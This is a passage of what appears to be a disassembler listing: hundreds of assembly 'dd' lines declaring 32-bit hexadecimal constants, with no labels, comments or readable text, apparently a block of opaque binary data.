		dd 33759E41h, 39560F07h, 1FE05B13h, 0B5AF27h, 0F0350999h
		dd 0F724A33Ch, 6E112D1Ch, 9E527A80h, 0D883E9h, 56D9C444h
		dd 8428CDC5h, 9C424B01h, 272289AFh, 0B0ED50FCh,	0FCD80061h
		dd 565E4E54h, 470069FDh, 67AE2146h, 3CB80BCCh, 3D0955D3h
		dd 0B004D7Fh, 120D7796h, 3CA3B400h, 0CBBA0616h,	0BEAB03C6h
		dd 9D979A8Ah, 1CDB67A8h, 46BD0F00h, 156BBA9h, 0CED03A28h
		dd 9CA096h, 0F3C25D31h,	7639AE83h, 803FBF68h, 4FDB303Ah
		dd 20DE5Fh, 9B53D918h, 0E980A83Bh, 40E75E00h, 4FF617A0h
		dd 0FB58003Ah, 0E0BAC290h, 10C33BF9h, 0D80BA3CCh, 24419Eh
		dd 0B268B42Fh, 14937ACh, 9A6AB500h, 48897F36h, 5B98A0DDh
		dd 653B00E9h, 4207334Bh, 80E24DBAh, 0C7007178h,	0A91F7B30h
		dd 0B67A7AEh, 0A1E6F831h, 5784F800h, 0B06D91Eh,	0AEB4D5E3h
		dd 0B565009Ch, 9C98970Ch, 0E800B736h, 5D6BF304h, 74551DA2h
		dd 85F638E3h, 92983380h, 84900583h, 463D6003h, 0D828F719h
		dd 308BBDBh, 6D8D205Ah,	0DDF04064h, 21001A3Ah, 0FABE2C42h
		dd 0F0288Ch, 7B0B657Dh,	934DA95h, 935BDB0Ch, 0F2D71A0Ch
		dd 0F47F22h, 41784B47h,	0E6E25A7Ch, 0C38BE000h,	2D1470B6h
		dd 0F6990031h, 19D8DA61h, 0D30F30EEh, 0A01BCFF7h, 0B746B637h
		dd 895001Dh, 746EC71Eh,	4D0FECFFh, 40248557h, 0D7BA35F2h
		dd 38E200A0h, 0DC80BF96h, 0C00029DAh, 1DB3600Ah, 72C6607h
		dd 4865D9Ah, 14E7F028h,	0F900CC87h, 4E27E3E9h, 0FDCA925h
		dd 0EC16B6BCh, 0A171DA60h, 4500BD82h, 0A19EF9Bh, 59EAAAh
		dd 0C1A39179h, 0E91BF81Eh, 21005C77h, 3AE46A9Ch, 0F672771h
		dd 0FEA07B92h, 0BD8BC480h, 730057C7h, 9925C0BBh, 309CECCh
		dd 491359E4h, 74B37A2Ch, 86BCCDC0h, 4215BE00h, 4093E3D2h
		dd 38FB00D8h, 7EF409D3h, 1C90D51Ch, 8347193Bh, 0F61562D1h
		dd 3AA0F188h, 0C636D0h,	0B50D8BCFh, 0D9E829F9h,	0F3001A7Ah
		dd 9CE42211h, 0E6F1802h, 93FC3B17h, 0A78C160h, 0CA016DB1h
		dd 450E998h, 0BBF8AB6Ah, 5410C099h, 6F5660E5h, 81C60F09h
		dd 42F40051h, 101E97h, 0AB22C38h, 33562F30h, 1D7CEA0Ch
		dd 0F1918F9h, 493980EDh, 0C9FBB8B8h, 378E210Ah,	4D0124C2h
		dd 0D48643B5h, 5E62D883h, 25C8583Dh, 69181C0Eh,	0B6118B36h
		dd 0D68500D3h, 18891510h, 0E9011F0Dh, 5D8D52D7h, 0A2FC1A21h
		dd 48081883h, 0E66460DCh, 6C57600h, 0A8D1FE47h,	0C359007Ch
		dd 7DF1E340h, 8500911Dh, 58464DABh, 0F0E52920h,	0B81700A6h
		dd 0B36B2B7Ch, 0C017B75h, 8F730F38h, 0C1FC784Fh, 0C4BD2676h
		dd 574600E7h, 9AF607E5h, 0E6BECE1Eh, 8EF1478Ch,	3C7521h
		dd 69195DDBh, 0CB6DD308h, 5A22931Eh, 0BE066A00h, 26BD01h
		dd 549E6CF2h, 0AF238402h, 5D825200h, 5F4C2A1Eh,	80D70083h
		dd 0D702EF4h, 811D061Bh, 0FDC06ED2h, 306AF642h,	54A94C04h
		dd 0B0BAE605h, 90A8508Bh, 9BBC0442h, 54CA5D1Fh,	0B242BE00h
		dd 1875DFh, 4691CB13h, 19EBE87Ah, 77738D00h, 24DD0AB6h
		dd 1AC14CDEh, 54550071h, 8EFAE446h, 0A1C7F9Bh, 8039763Fh
		dd 2C0AD52h, 0B31974h, 0C3E01B14h, 5EACFD87h, 0A1564B24h
		dd 84E9A400h, 3CA10E2Ch, 99C7755h, 65A98E8Eh, 0B0800809h
		dd 74E39884h, 1787BE00h, 0F7D98E0Dh, 57ED00F1h,	0CDFE6590h
		dd 0BE0019CAh, 25C48147h, 0CB0A16h, 0DBE404C1h,	0C5309259h
		dd 0AD266B04h, 14C0692Ah, 0BF9D0Bh, 684F05CBh, 0D25FB84Dh
		dd 0DB4A1F16h, 3F9E3C00h, 21BE60h, 150C0633h, 96E3DF3h
		dd 32E6D0EAh, 0D5C71C00h, 671B2BEAh, 0CDF3008Ch, 38FE8692h
		dd 9F00CA94h, 41D5D959h, 0CE555Eh, 0E68835FCh, 1815DFD2h
		dd 5971D700h, 0C7BE2029h, 7D76E86Ah, 0EF220EE4h, 0AF401672h
		dd 0BB6E12D5h, 0D885ED28h, 62749D00h, 996B0CB4h, 1321026Dh
		dd 69BF4015h, 0AB7B58C0h, 1F477C0Eh, 2C7A81FEh,	0F8507212h
		dd 5ED4D90Bh, 0C168E05Bh, 0CE712216h, 8B93A300h, 33069DDh
		dd 2D27525Dh, 0ECC02B64h, 0F1002158h, 3EED8344h, 3CFBEAh
		dd 0B7B6F053h, 0B4DF9C6Bh, 0BC5BC800h, 0B8425506h, 0A3731DC5h
		dd 0C2CF5h, 7D4813FDh, 9A03D170h, 0A452CE32h, 0D126A367h
		dd 0F840B0FBh, 9D8B2DAh, 0D75584F1h, 406F7091h,	1FDF96B8h
		dd 9AC8AB00h, 0CF157EA3h, 3DC3D56h, 0E8313380h,	674BED26h
		dd 0F19CE307h, 0EE966h,	0DE6E9821h, 7A01008Bh, 42B03204h
		dd 0DF50784Dh, 0E8ECC388h, 0DBF64602h, 0E05B576Eh, 0F1CA7B00h
		dd 597E8h, 8BF39ADDh, 14688354h, 4F936B01h, 88203374h
		dd 35DC1FC1h, 28D1001Ch, 4CC75EF1h, 0D34C11D0h,	0F2A80090h
		dd 8E37FD04h, 86831C53h, 0D5BCBC3Eh, 8571FC80h,	822C0657h
		dd 27655A00h, 45CC25B4h, 0E86903A0h, 0E2F372EEh, 47AF50FFh
		dd 35000C1Dh, 0B5832DC5h, 39293CC8h, 0A8819224h, 0F42542AFh
		dd 5BD884E2h, 7600EB58h, 0DFB52375h, 0CBC97100h, 3C0EB8E1h
		dd 0D70A392Fh, 8BA65C80h, 0C027F7F0h, 16C1650Ch, 0BBB0FAh
		dd 79BF6E3Bh, 17C895BEh, 7F456207h, 4480873Eh, 391D7B51h
		dd 1EA8BA52h, 0B6B302FCh, 68DD384h, 6400DC44h, 13D9FD92h
		dd 2616851Dh, 73499AEh,	3BA2CE9h, 0CEA83B23h, 2530E5B0h
		dd 1E0481Dh, 0D6830061h, 2315DB75h, 8C736006h, 243BD90Bh
		dd 0B718619h, 32010060h, 1427D305h, 0A518B0E1h,	0DBFE0681h
		dd 0C4E0071h, 0B2BE3989h, 0CB3A3452h, 81F900D3h, 0D6447E8Fh
		dd 748A0023h, 0F787F3F4h, 0A7005339h, 2638074Ah, 129DECh
		dd 7D664C46h, 0D5356559h, 0C8017E00h, 0E6D3D2C6h, 1B8E0517h
		dd 0C05D9DA8h, 0FF33F328h, 0A50173F8h, 0D1A35D3h, 58C1953Fh
		dd 0FA4FB4FCh, 16CF0072h, 0C9818B53h, 1873554Ch, 0C133C01h
		dd 82EA997Ah, 5D12F420h, 0CA0084BDh, 1A9EB8E4h,	98001DF4h
		dd 0F616A814h, 3C1E6CBh
		dd 0B91F092Bh, 0D6E08577h, 5C1C11ACh, 0C580989Bh, 9F743A4Dh
		dd 50D89FE1h, 5B83Bh, 240BC819h, 3F89104h, 57369A7Ah, 0FEF8C37Ch
		dd 0DE00450Ch, 2E32ECB7h, 796A802h, 1581A36Ah, 93630062h
		dd 7000B289h, 0FDB9924Bh, 24C21Ch, 4F5C933h, 86CD1FAEh
		dd 8B417A3Ch, 80278D95h, 58893014h, 38D800C2h, 0E09C466h
		dd 0CCF1FA69h, 787B920Ch, 2914202Ch, 4973C200h,	72071Ch
		dd 0DF3A462Bh, 65BC9AE7h, 90A9C000h, 0F78B4144h, 2E8107B4h
		dd 65FFD379h, 102587BAh, 5CF097E8h, 44572703h, 0E029C846h
		dd 0B60358Eh, 0AB894B4Ch, 0BA00AC0Bh, 6FF9B5Bh,	0B9B54500h
		dd 4011CEC6h, 0A09A5029h, 0F77B88h, 0E5AECD9Dh,	972341C0h
		dd 0CA6A4A00h, 1D84543Ch, 6D9B00B9h, 410C467h, 5B005C7Ah
		dd 0B420BDF9h, 5F6196h,	0A0798E3Bh, 16733619h, 35EBC300h
		dd 0C4E08CDBh, 0D3C700D8h, 0BE468A1Bh, 8703830Dh, 0B48BB77Bh
		dd 0B6A980EFh, 339900EAh, 0F7DBC49Ch, 0CD13867Fh, 0B00BCB8h
		dd 0E27E34A3h, 0FCDC0043h, 27DDF493h, 4500B0C4h, 0C3D66F0Eh
		dd 12E518h, 8EB60C03h, 0FB6B424Ah, 0C0E0CA26h, 0D32CCD00h
		dd 537C1Ch, 334DBF65h, 5258E136h, 0C75F4F00h, 0CED90C6h
		dd 291B00DAh, 0EFEB59F9h, 43E4FB13h, 0CBCCC80Fh, 96D1027Dh
		dd 4F02C01Bh, 3F800A2h,	0BD253253h, 0D600ABA6h,	0A1C47044h
		dd 5E4087h, 0AA65F614h,	4C4115EFh, 0BCFA6200h, 432C9773h
		dd 7E077FFh, 0D1202454h, 0E2B80D8h, 0A000EC3Dh,	28B45B78h
		dd 717E11CCh, 0F1502C34h, 0ADF00EFh, 5DE3A77Ch,	6949902h
		dd 70D464D2h, 952D1F38h, 358A80CFh, 0FD1E5BB5h,	743F3E1Bh
		dd 79AE8890h, 6B2A0013h, 0AF608730h, 0A1E4179Dh, 98985Dh
		dd 0BA5C7E66h, 26109E19h, 0EE088Dh, 5D7B01C2h, 821FEFB1h
		dd 0ADAC2CF0h, 140F2712h, 6D0260EAh, 4C7B47A5h,	100B17Ah
		dd 1A9914A2h, 8C98CB4Eh, 2F600A02h, 5083A338h, 0D89800A4h
		dd 5C4A8717h, 7CF6ACEEh, 0FA12ABF0h, 0EC9085B3h, 2642B61h
		dd 0B1789048h, 2BC0BF06h, 1800A687h, 2152C2FBh,	1262F628h
		dd 89144Dh, 0E711B5C8h,	86B8CD19h, 88092CB8h, 484581D2h
		dd 0FF030ADCh, 5994DCh,	0C8F421F5h, 0E11F732Dh,	62472A12h
		dd 41425CC7h, 2390A1CFh, 75D4C24Eh, 0EEE718C9h,	7C367829h
		dd 0D5BB0B01h, 24FBD271h, 8EECD4h, 99E01C3h, 86F37A16h
		dd 904B551Eh, 3C9CD940h, 9D597E39h, 881EB870h, 58805753h
		dd 8D1A954h, 0E75B1CA1h, 4EF10034h, 703B8A92h, 863D1B00h
		dd 0CEC4366Bh, 30BB3E67h, 6E4D0B80h, 0F77173Ah,	6230607Fh
		dd 0ED34B087h, 0A832008Ch, 54799631h, 3A39F741h, 0CCA80AFh
		dd 0D555C585h, 0D0E839h, 4B5D1716h, 0C9A6A2DAh,	7501CC7Fh
		dd 3E33D558h, 0FCF4E72Eh, 0AABB26CBh, 54981630h, 4421C78h
		dd 0C161C1EBh, 0BE0B1201h, 23C3040Ch, 4D00DA10h, 979E9CDDh
		dd 1C7624h, 0DB9DFE0h, 0CC060B22h, 657A54Ch, 9F88CE91h
		dd 0D1E82228h, 0A88807FEh, 88F088A9h, 97B95204h, 9C44D34Ch
		dd 28044A03h, 29565E0Ch, 0C8D24490h, 4223EB20h,	7B9308C0h
		dd 0D0740853h, 88D8B588h, 0FB88AF7Ch, 5038947Ah, 29E59E3Ah
		dd 75500698h, 0DC502947h, 7920093Ch, 14B4502Fh,	0E076444Ah
		dd 277151C0h, 1712A33Bh, 0E4FA834h, 0B3A9A2EAh,	0BB584C80h
		dd 0AE003BCFh, 33B5B726h, 0F94DC4h, 428B94C9h, 0DBA93D3Eh
		dd 0D90027E4h, 43610641h, 161BC628h, 185EB54h, 0DE5DC3A2h
		dd 0FD9CC4AFh, 63A7131Fh, 6C6F0B00h, 0F095030Eh, 0AC0000Dh
		dd 0CCCB32ABh, 930205A3h, 0F1B57AC8h, 58E780F7h, 13274FEAh
		dd 602C32h, 0B4129BD0h,	0FF001F02h, 26ACA7A5h, 0E2BF9EF3h
		dd 8FF100D7h, 0EFE08744h, 61007411h, 4E885E56h,	12F91222h
		dd 60C3D7h, 20C2DD18h, 0AE773D23h, 630C791Dh, 3BF26140h
		dd 586C481Ch, 2D006DF9h, 0AAD8CCABh, 0FE3E8C83h, 1C348059h
		dd 5D78A171h, 407A01A2h, 102B2E15h, 0B7CCE811h,	0AE9A3Eh
		dd 0C737CE87h, 0FD3CF6h, 0EE4F327h, 47C58DD3h, 99730D07h
		dd 0F710D99Fh, 0B7CA07h, 7CDF3CA7h, 2C8C6E3Bh, 1200B67Ah
		dd 2429221Eh, 0F546CCh,	683F3105h, 2FB19417h, 0A626CE00h
		dd 4A2CD856h, 876302C9h, 28C692CDh, 0AE8112E0h,	1460E900h
		dd 1BEA9B11h, 0B5A2001Dh, 0F669892Fh, 7A0EA526h, 201028EFh
		dd 0A7189EBDh, 2BF30F44h, 6DE3CB96h, 20002357h,	0ACDD3C90h
		dd 770DB734h, 1AD40056h, 5801E1BEh, 7700D6DFh, 4B542363h
		dd 1B76003h, 746CBA76h,	0DC3F19B3h, 7716D458h, 3FECF29h
		dd 8D0DE329h, 0EB8E8800h, 85E2877Ch, 2330044h, 2D82A2D0h
		dd 68E6B81Bh, 61C0F400h, 90448E91h, 2CD32DDFh, 0AA460EFFh
		dd 0AC009F65h, 0CF603D1Ah, 1C67059h, 0E8497F0Eh, 0D4B42A1Eh
		dd 4300AFA0h, 946AB036h, 51E9ACh, 681FF572h, 5B28B84Bh
		dd 12C4400h, 8F27E3E6h,	63350029h, 17CDB56Eh, 0F2002FA0h
		dd 14FE1151h, 0D91BD1h,	3941B905h, 0FB093519h, 8B37B314h
		dd 0D5DE03F1h, 985FA68Ch, 2C215EF5h, 0CE6F7Eh, 1EDA516h
		dd 6300C4DEh, 9C279941h, 3625DC1h, 0A7D78403h, 38C09659h
		dd 5B00872Ah, 9DBFDA56h, 58ECCh, 9E97807Ah, 6FD7DEBBh
		dd 55AB8100h, 5194C2C1h, 42D11D59h, 6C41002Dh, 5A290683h
		dd 0D7573006h, 76C2E1Bh, 19FE0A50h, 5D31C09Bh, 9E075AA1h
		dd 0B323D31Fh, 0BEB2BA20h, 663C00DCh, 0E1885C2Eh, 7E00F1F8h
		dd 0E5D71549h, 396E2185h, 47009A41h, 0A7429B97h, 0E800E60Eh
		dd 542B04A4h, 43C899h, 7A2DDF32h, 0BB9623F6h, 0A2FC490Fh
		dd 2F80BD5Eh, 509789BAh, 0EB800E5h, 4938CD29h, 0F0E5375Bh
		dd 19057F83h, 64CFC5B2h, 3E733AC0h, 5AC00787h, 0AF3AD0A4h
		dd 4FB8B361h, 0FF79F0FBh, 45BD800h, 740285BFh, 385800BAh
		dd 0C13A70A1h, 0AAB8331Dh, 0DA6F6900h, 0FF2228CAh, 18C760B1h
		dd 5BFA93CFh, 5F07401Dh, 970B80FDh, 2E4EE884h, 0EFEA00E5h
		dd 887DB105h, 443B678Ch, 4C93EB7h, 40088B28h, 38AE0EC0h
		dd 323C005Fh, 25CFED09h, 1800B46Ah, 0DD907479h,	98E2DBh
		dd 3CD4F24Ch, 5677E15Ch, 3667410Fh, 0AC704303h,	0BA84806Ch
		dd 0A0B40029h, 0AD4827B5h, 2F3D018Ah, 91778F0Ah, 0B6C14034h
		dd 0BDDCC3h, 368FD6ABh,	9A2D67F8h, 56E7D0F7h, 1D580D3Ch
		dd 40838E0Eh, 0F816AF70h, 0E47F6A46h, 7A67F862h, 9F7BCDh
		dd 3C349CE0h, 76F70C80h, 0EC65A000h, 3B0D48F5h,	42D003CBh
		dd 0E78E5C96h, 67A0B3A7h, 0A4B5A1F0h, 47CF1C00h, 0B19F9BEEh
		dd 0D1AB00FDh, 0B40DEF5Ah, 6B00425Fh, 6380E420h, 0F4EA6FFh
		dd 69FBB064h, 0F5A52A00h, 5309C91Ch, 0AD8D70h, 7AE61A8h
		dd 745D01FDh, 0F8A9DD40h, 0F999603Bh, 397A1E4Ch, 3FE31C43h
		dd 60AAC540h, 0A91C41h,	7B916C8Fh, 18296F92h, 9D16D000h
		dd 0C157622Eh, 1150001Eh, 3608E331h, 0F8FF2528h, 980E5807h
		dd 473CCB3Eh, 7E505633h, 0FC9E74DEh, 0A9500F8h,	0E9527355h
		dd 1B007B06h, 0FD6DB477h, 705AFF65h, 423F3FF0h,	0C8F2EF80h
		dd 0F4A3593Bh, 4BFA691Ch, 31A48780h, 7DF7DBh, 8FDED3D8h
		dd 5F092835h, 0A842200h, 0D9BDF6FBh, 470C03EFh,	4B3AD739h
		dd 54191DB0h, 9E0032ECh, 80BFF410h, 55AA46h, 4873579Ch
		dd 54E76B50h, 1C84FF00h, 33CEDFABh, 2FB8007Dh, 6EBB267Fh
		dd 677DB281h, 6D15D000h, 5E17CFE5h, 8DE10B2Fh, 6E849388h
		dd 9F90C0AEh
		dd 0A30013F3h, 0FFA724F5h, 0E2244h, 0A6D3FAA2h,	19344192h
		dd 30718800h, 85AC1F89h, 209E00A4h, 0A518870Fh,	0F50E61CBh
		dd 8241C72Ch, 0BAB5F3h,	5AB86CA9h, 1603857Ah, 43175C15h
		dd 0A5ECAD80h, 8FF3400h, 9CDDD92h, 0B1009879h, 0F61F3E93h
		dd 99E3F1h, 5C777580h, 0B2625271h, 3BE2D300h, 0BE410FEDh
		dd 3F847C11h, 0F8AA08h,	4E0968A7h, 3CA17457h, 0C2A89000h
		dd 0F1C68404h, 242E0301h, 0B47ADE95h, 0DEE5FD0h, 0FEE858h
		dd 0CBCE5EA0h, 91EB9E12h, 0D67A00F8h, 0AEC11F18h, 6ADD1B00h
		dd 59A8466Dh, 0E61230D0h, 33EA35EAh, 0B50001B0h, 0AF3B98F9h
		dd 743039Ah, 0D2C07EA2h, 9083E061h, 3E0741C3h, 0AF498F10h
		dd 88150BB0h, 0B2A30045h, 67810C3Ah, 42C014B9h,	222B4E05h
		dd 742400FDh, 0B8CF908Ch, 0E80F83F5h, 0C0110AE4h, 590B3A52h
		dd 6D61039Ah, 8918D050h, 0E1C995E0h, 6F458700h,	0FC35B201h
		dd 0CC3D010Fh, 6DCF471Eh, 0A7D4F0EBh, 0CBAD2500h, 22827A26h
		dd 0D87185h, 0F753B970h, 0AD382BBAh, 0D29FD000h, 1C2884FCh
		dd 1AB7004Ah, 610C223Bh, 0A101698Ah, 0BE7B888Eh, 73ECA6B9h
		dd 0DE6007E2h, 7017C95Dh, 554F1ED2h, 0ADD59301h, 0BAD4C750h
		dd 4C1AEBE4h, 0F65890B2h, 2543D00h, 0F7A3D755h,	3F2B5E00h
		dd 0B2B014C3h, 0D5BF0010h, 0F4FA67EDh, 3A1678EAh, 0A80090AEh
		dd 0BCDB7185h, 0B7FC056Ah, 809BC02Eh, 0CD7EB259h, 0BF3A800h
		dd 0CE4DA59Eh, 0D68000B8h, 9CF5F9E4h, 0FE1D1463h, 930FF4E7h
		dd 0EDAA7B6h, 516E8A10h, 59A1001Fh, 74BB3253h, 4000B8D9h
		dd 6FDA6B0h, 7F1D49Eh, 800A1AF3h, 0F07F610Bh, 0E809D934h
		dd 1B003A83h, 0C4740DA1h, 90CF97B7h, 79FB005Eh,	229ABA43h
		dd 1000A563h, 418D35A3h, 7C0A0CCAh, 11CE0172h, 0CFE1D8A0h
		dd 15E4D062h, 655F5D01h, 0F2CA1070h, 0AE72220h,	0DA0EFF83h
		dd 2A990FEAh, 0CE9B9AC0h, 0DF00B3ECh, 7A327741h, 9047AB12h
		dd 0E834F9F0h, 59DA00CAh, 61319FC8h, 0CF002DDCh, 43288A5Fh
		dd 588DADh, 9B79ABC3h, 0E8D54402h, 1425439h, 8C3ACCDFh
		dd 4F20A146h, 8B9200E6h, 25D3D64Ch, 9D005539h, 0B47207D5h
		dd 19E53D1h, 134CDD09h,	0D8751132h, 930049B8h, 0F57FB1C4h
		dd 98898679h, 293A0000h, 97DAB9A6h, 9001F07Ch, 0FC9B9910h
		dd 0C4D0F285h, 61E20035h, 0CC0B7884h, 0D41DF507h, 55C750E3h
		dd 23C08FACh, 0AE2E0Eh,	26321713h, 94B6E6CEh, 0E8BC50C0h
		dd 5C4A79A0h, 6B109C9Fh, 908780C5h, 0BB21B52h, 0A7EDF0E6h
		dd 0C095BC07h, 0A0EE54FAh, 0BFAFDB00h, 6EE56A4Eh, 2997004Ch
		dd 9DD5A3F0h, 4A3B575Bh, 91AE9FA0h, 7D07003Bh, 4844F837h
		dd 30BE6FACh, 631B86A0h, 0F100B812h, 352577FBh,	1354D37Eh
		dd 0B282E4h, 0BCC29F76h, 0E228C40Dh, 0CF04875Ch, 0A209560Fh
		dd 668F4EC0h, 8A370064h, 31E2CDF4h, 3F00538Dh, 0EDD9AB87h
		dd 66E736h, 0BB830620h,	0F0DACBEFh, 0BC0096E6h,	0DBCCE92Eh
		dd 5207653h, 0B8BB97F7h, 39E1C3D5h, 0F8835688h,	0D0824Ch
		dd 228C0369h, 1DB9CAC5h, 7A74B41h, 11A1336Ch, 0F0AD0747h
		dd 3B161CF4h, 9F1E2BE6h, 0AD748C0h, 16E3F3h, 0A18CA5DBh
		dd 531544DCh, 0E1AC5800h, 12D74D80h, 69890E31h,	52A0551Bh
		dd 0ECBD610Fh, 0D07029F6h, 6A68703h, 0A8A1B228h, 764666h
		dd 0C6AFBB4h, 0DEC8E6D9h, 4072B817h, 0B697F400h, 7B09CAA3h
		dd 32D0019h, 47BECCE4h,	0F7093946h, 2C9F30Fh, 0C0547AA8h
		dd 2F063C40h, 377E583Fh, 4A6F2800h, 0FCF5902h, 0DF3A47D5h
		dd 980068A9h, 1B8B18F7h, 77903348h, 926A3902h, 405A299Ah
		dd 0DC3E98h, 5BACA938h,	9836D705h, 9EB66B00h, 37EBBFB4h
		dd 2D9900E5h, 0C6C1AFC8h, 9C502C9Fh, 7D3011B8h,	5A0A9090h
		dd 3DC1C09Bh, 1A24F461h, 231E8100h, 551DA57Ah, 954C000Bh
		dd 0B0B30DA4h, 20BA4318h, 5733C408h, 36CF0077h,	5BC8479Fh
		dd 7F0068ECh, 3C202893h, 7FCF004h, 0A471AD72h, 0C9596070h
		dd 0F4009F61h, 39217E47h, 9434E76h, 77A6CE9Ch, 65497480h
		dd 7148DCFBh, 2DB20C60h, 0F834195Bh, 0D88B4181h, 2100D1CBh
		dd 7952BF2Fh, 1FA1D3h, 0E5B9A8BAh, 0BCA55E97h, 93FCD500h
		dd 3BAAEA80h, 936F0CCh,	0A3DDEC43h, 0BCC46C0Fh,	9E6881CEh
		dd 0F7702094h, 1429CC18h, 165E6398h, 0B7D561h, 4F4DAC37h
		dd 0ADB80609h, 0A4FC5903h, 0D0FE57F8h, 1256606Ch, 83E3368Eh
		dd 7CF86D24h, 0E0007055h, 682A354Eh, 0FAF0C9h, 1ABC9D5Ch
		dd 535475EAh, 28DD048h,	0F2C6A2A8h, 861C60CDh, 0B853101h
		dd 58FC4CF9h, 0D844F388h, 0B65C0757h, 0A36532A7h, 0FF852ABh
		dd 100E37A0h, 0E0A38719h, 0DE673057h, 0E70B0979h, 0A8836375h
		dd 5AE8B5D8h, 8509196Eh, 89F278CAh, 0C7130250h,	0B7F8A0A7h
		dd 702F72D9h, 83788Fh, 7B5465FDh, 0DA4D1001h, 28B0CD30h
		dd 0FCA7B51Bh, 0BF420061h, 5BF139FFh, 400DA81h,	0E7BEEAF7h
		dd 0AFC9001h, 4B45242Fh, 94BB00B0h, 7E2AEDADh, 0A037D100h
		dd 293E9035h, 70061739h, 0E6B806BAh, 2E0C313Ch,	96FD257Ah
		dd 9CF600BEh, 496F678Ah, 5A370820h, 0E4F02938h,	1B3D02Fh
		dd 88FA9052h, 0FC693E32h, 2109AB45h, 265737Dh, 6BB6DEB4h
		dd 0A6B298C8h, 7B4C0F87h, 0C0DF450Fh, 0E37C510Eh, 42389D77h
		dd 19D6812Eh, 0BF5F4EC1h, 42601061h, 24B098h, 3EAB5DBBh
		dd 0F0791E7Ch, 4A500400h, 358EE40Ch, 0FEA2Ch, 3CEEF72Bh
		dd 29326DEFh, 0E4DCF928h, 4CCBFB2Ch, 0F22750h, 9AED4C82h
		dd 0C66EC25Fh, 0C40528B0h, 0CA2A06F4h, 0F240E81Ch, 0BDCEA2EFh
		dd 7D491F28h, 1CC101CBh, 20897164h, 0AF3FFA90h,	80B13C9Dh
		dd 4B7AA46Ch, 0C2FB39h,	0A79F73A5h, 0FF6E846h, 0E86E100h
		dd 283F49FDh, 0FCC7003Eh, 0D95CB615h, 4E726F53h, 29A2DE00h
		dd 0B54ABC24h, 7E0E6F9h, 36D85671h, 834360C8h, 8E0007DFh
		dd 0ADC04E70h, 676133h,	0EE39CB14h, 3D02A9AAh, 0B82AE200h
		dd 88B4CF3h, 482D001Fh,	0F4A7C1BCh, 0ED190C9Ah,	35862F5h
		dd 506CECh, 5DEE8C6Eh, 7A1D4E8Fh, 2861D300h, 0BD3CCDACh
		dd 0DCD90563h, 0C083FE93h, 8E5DC77Fh, 36FDEE2Ch, 2A4BCC00h
		dd 18A01C4h, 0D41013BFh, 0E0E2C711h, 0C200E5CFh, 94A76340h
		dd 39580851h, 6A80B6F5h, 1FCCF06Ch, 24004DC1h, 8FF23BD3h
		dd 8AB41Eh, 60834687h, 0ABFEB14Ah, 69C5FF00h, 57554181h
		dd 7CF4037Dh, 0AC5E8D19h, 377F4CF0h, 0C32E6B71h, 48009598h
		dd 52D1741Ch, 0DB230177h, 72F66DC4h, 6CD04880h,	8B001578h
		dd 0B09ED3C5h, 0F68DFC4h, 5A93288Eh, 7A8C0700h,	6E7B6A59h
		dd 0E2026100h, 0D4D216F7h, 4D0A00E4h, 37F190C2h, 8E000918h
		dd 843C9FFFh, 919BDBh, 35AECF28h, 0F8AFFCABh, 9700BAEEh
		dd 963E39EBh, 64BEC0CBh, 0C01019DBh, 689CD8Ch, 8129F900h
		dd 6C735BA3h, 3B8A00F8h, 0A6670D59h, 1800BAFEh,	0EBA2E6D3h
		dd 0F464BED1h, 0BFCA0012h, 0F04C8A9Dh, 7000DB1h, 772D03A1h
		dd 0AA5986h, 9E325D18h,	0B64520CCh, 0D900137Bh,	8D5FC636h
		dd 5EFA86h, 0FBD7DA2Bh,	3D8F9CA5h, 0AA66E400h, 84964193h
		dd 1DC00001h, 9D27E1FCh, 0B005879h, 0ED3C334Dh,	0DC9591h
		dd 886D8792h, 5A22A971h, 1A20CE00h, 0BFF1DB9Eh,	175100B3h
		dd 0F788AD75h, 0EA00895Ch, 8447D3DAh, 952FDFh, 0EE498BC1h
		dd 1D6ACE10h, 822D3507h, 0D3F088E0h, 5A43B9h, 52F6640Fh
		dd 0C1E1D9BEh, 0F5318A00h
		dd 0E25F50BFh, 2F8100E3h, 9ECE52DAh, 26004029h,	0A61CEDFAh
		dd 3B5BDFh, 302D8D34h, 782979A1h, 0AAD35300h, 6A541135h
		dd 7BF3013Bh, 0E6C0EFB2h, 0DA8A7024h, 5318300h,	0B6B1F678h
		dd 0CADC0092h, 464455D2h, 6000651Dh, 5EB7351h, 3FF9AF0Ch
		dd 6B80B890h, 9243FE8Dh, 0D2A1B64Eh, 13B5F857h,	51426400h
		dd 5B8F30Eh, 0FDF2A143h, 0C0AF2081h, 705F0A23h,	8D00B037h
		dd 0A15E5978h, 1C6B7EBh, 0D24721F9h, 0F4EF96C4h, 0A600C912h
		dd 0F09B761Fh, 0B063Dh,	7B6E49B9h, 0DD273913h, 3509AD02h
		dd 40FFBE4Ch, 0F838B8h,	0ABE80E6Eh, 0ED9A7031h,	0D9097D00h
		dd 478F81AEh, 38700E6h,	803E1B14h, 2800FE2Eh, 357BE5A4h
		dd 643775h, 0DD74EC04h,	8CB2D4CAh, 0F07340h, 5DC9134Fh
		dd 63E6F991h, 0ED077500h, 0BB5AC77Fh, 0B98B0EF8h, 0DC4A8576h
		dd 0DE1386h, 2386AE00h,	8A3D8FDDh, 8E5280FEh, 6A81A67Dh
		dd 0E9BA003Ah, 0C0FCAAB7h, 0BD00D4E2h, 1A03C35h, 70CF6468h
		dd 440B0012h, 0B4C30D53h, 0D200BAACh, 58278CB5h, 47DBBDh
		dd 83947DCEh, 57A546D0h, 68D9D700h, 0D40D72B5h,	0E2220301h
		dd 0A99E06Dh, 0C1EF2EA8h, 1CF9EB00h, 0ED3D917Eh, 135F001Fh
		dd 0BB4DFD77h, 53005A8Bh, 0FC83309Eh, 394E0AA1h, 15BF39E2h
		dd 664DDB80h, 0CC016886h, 81456A00h, 131C17A2h,	6D351E72h
		dd 2046000Bh, 0AC03718Dh, 379B3200h, 5D68DE7Ch,	0A1F040h
		dd 0AFE3B4C4h, 8B307363h, 1B9430Fh, 0BC516C11h,	64D34CC6h
		dd 89ADAC0h, 0CA006D47h, 0F07E83BCh, 914B2A4h, 6A29583Fh
		dd 36910480h, 0C3E0088Ch, 3B48D676h, 0BCB60094h, 0CCFFF968h
		dd 75AC01BBh, 5D8201BDh, 79ECF8A7h, 7FDFEA00h, 8A04A292h
		dd 57F44Ah, 0D67E5654h,	1C86503Fh, 0EE275101h, 0D348E4B7h
		dd 8CDD60h, 5985AE69h, 0F04EE250h, 92C58400h, 445CB767h
		dd 6F7E03DEh, 1A6E9CE6h, 0BA8327A8h, 7F6A7B12h,	70F8F600h
		dd 3691630h, 0EFBBCFCDh, 9588F6F7h, 6E00269Bh, 5B32788h
